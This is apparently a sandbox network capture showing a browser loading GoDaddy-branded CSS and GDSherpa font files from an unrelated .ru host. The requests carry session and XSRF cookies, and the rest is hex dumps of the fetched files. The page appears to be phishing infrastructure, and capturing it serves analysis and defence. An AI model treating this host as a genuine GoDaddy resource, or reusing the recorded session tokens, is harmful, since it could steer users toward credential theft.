2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 Data Ascii: lex-direction: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_g
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d Data Ascii: ;}#sections_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(-
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 20 2e 75 78 2d 74 65 78 74 2e 75 78 2d 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 Data Ascii: .ux-text.ux-text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:21 UTC	1355	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive Origin: https://zy7z.fmaymzjp.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
2025-03-21 06:03:21 UTC	1169	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:21 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" Last-Modified: Fri, 21 Mar 2025 06:03:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FW2gIlDZSGuUcW%2F0l3zHNOgUCjwQrmzvHnYURYDL6teASLYuVRbQdVe6wNqknth%2BUPLp4L53O6j7Z92UmIw4Z8Lwzei%2FNgRrPvPX4NqCKIvL%2FjgKn4tyJ3C%2FR%2F34RI08dVSg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=8302&min_rtt=8235&rtt_var=3136&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2266&delivery_rate=345840&cwnd=38&unsent_bytes=0&cid=5266e5b7e097b26b&ts=468&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 923b3ee1ea2f6dc6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101977&min_rtt=101803&rtt_var=21738&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1927&delivery_rate=36407&cwnd=225&unsent_bytes=0&cid=6dc6067bfe4ed57a&ts=801&x=0"
2025-03-21 06:03:21 UTC	200	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JF
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 8c c4 Data Ascii: c A7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsV
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 41 94 Data Ascii: a&LYl\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%A
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 0c d9 1e 6c 61 Data Ascii: ulFaRGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGtla
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b 2e f2 7f 71 2f Data Ascii: LC=yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{.q/
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea 6b 96 62 83 e5 Data Ascii: C\g1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6kb
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 9a 7b 42 ef 12 Data Ascii: =Zrn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8{B
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 c2 5e 60 66 2a Data Ascii: VK)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:^`f*
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 4f 2e 36 c9 82 Data Ascii: `#yPW=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%RO.6
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f 95 71 9e 10 ea Data Ascii: 4P@0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,Oq

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:21 UTC	1354	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive Origin: https://zy7z.fmaymzjp.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
2025-03-21 06:03:21 UTC	1164	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:21 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Fri, 21 Mar 2025 06:03:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=azkx%2BG8scIyEMrdQoJZZVLyaN%2B4S4rL4shkw7TTBjPrj2I5wZBetbq2iHKfUUY2aAxzEcXk8Q%2FnOMves46bHiLR39tSoBLA1NRgItg6gDycHqqdhz%2BJ48V4ovl53xjD7F3Ju"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=8497&min_rtt=8486&rtt_var=3190&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2264&delivery_rate=335611&cwnd=252&unsent_bytes=0&cid=3cf2ed7346cd1605&ts=510&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 923b3ee1eb505e80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101537&min_rtt=101469&rtt_var=21509&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1926&delivery_rate=36636&cwnd=240&unsent_bytes=0&cid=7fc0c679a9cc477f&ts=849&x=0"
2025-03-21 06:03:21 UTC	205	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspg
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 Data Ascii: lyf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE0
